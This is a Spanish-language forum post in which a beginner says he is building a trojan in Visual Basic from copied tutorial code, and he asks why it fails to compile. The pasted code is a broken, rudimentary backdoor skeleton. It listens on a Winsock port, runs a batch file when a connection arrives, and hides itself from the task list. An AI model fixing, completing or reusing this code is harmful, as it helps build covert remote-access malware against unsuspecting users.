ola soy nuevo en el foro....he estado mirando tutoriales y documentos por el foro, y he decido probar con un troyano en visual basic.....,la cuestion
 es que he copiado varios codigos de manuales de este foro y otras páginas, y nada por probar,he instalado la consola windsock y he seleccionado en nuevo proyecto exe estandar, he copiado los codigos igual que estaban en los manuales y por probar ... he ejecutado generar proyecto, pero me da error  en la linea 22( bLOQUE IF SIN END IF) ERROR DE COMPILACION



Private Sub Frame1_DragDrop(Source As Control, X As Single, Y As Single)
End Sub
Private Sub escuchar_Click()
On Error Resume Next
Ws.LocalPort = Text1.Text
Ws.Close
Ws.Listen
If Ws.State = 2 Then Label1.Caption = "Escuchando"
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
On Error GoTo error
Ws.Close
Ws.Accept requestID
Label3.Caption = Ws.RemoteHostIP
Shell "c:\ki.bat"
Timer1.Interval = 3000
error:
End Sub
Private Sub Command1_Click()
If winsock1.State = sckConnected Then
MsgBox "conection satisfactoria", vbInformation
End Sub    ------AQUI LINEA 22---------

Private Sub Form_Load()
Timer1 .Interval = 1
End Sub
Private Sub Timer1_Timer()
App TaskVisible = False
Timer1.Enabled = False
End Sub



GRACIAS...COMO SE ADUJUNTAN IMAGENES?GRACIAS...